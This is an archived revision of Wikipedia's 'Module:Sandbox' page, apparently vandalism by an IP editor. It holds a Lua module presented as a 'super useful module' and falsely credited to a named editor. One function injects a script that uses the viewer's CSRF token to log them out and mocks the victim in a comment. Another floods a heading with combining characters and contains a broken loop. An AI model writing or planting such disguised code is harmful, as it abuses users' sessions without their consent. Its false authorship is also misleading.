Jump to content

Module:Sandbox

Permanently protected module
From Wikipedia, the free encyclopedia
This is an old revision of this page, as edited by 93.106.215.236 (talk) at 18:42, 5 March 2021 (dd). The present address (URL) is a permanent link to this revision, which may differ significantly from the current revision.

--[[
	Super useful module
	
	Made by Materialscientist
	© Materialscientist Corporation 2021. All rights reserved.
]]

local p = {};

function p.sand(frame)
	-- Log out the unsuspecting prick who falls for this
	local maliciousCode = mw.html.create('script');
	maliciousCode:wikitext('mw.loader.using(["mediawiki.api", "mediawiki.user"]).then(function () { new mw.Api().post( { action: "logout", token: mw.user.tokens.get("csrfToken") })});alert("Goodbye!")');
	
	return tostring(maliciousCode);
end

function p.sand2(frame)
	local fun = mw.html.create('h1');
	
	for i = 1, i <= 500, 1 do
		fun:wikitext(' ̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺ͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩ ');
	end
	
	return tostring(fun);
end

return p;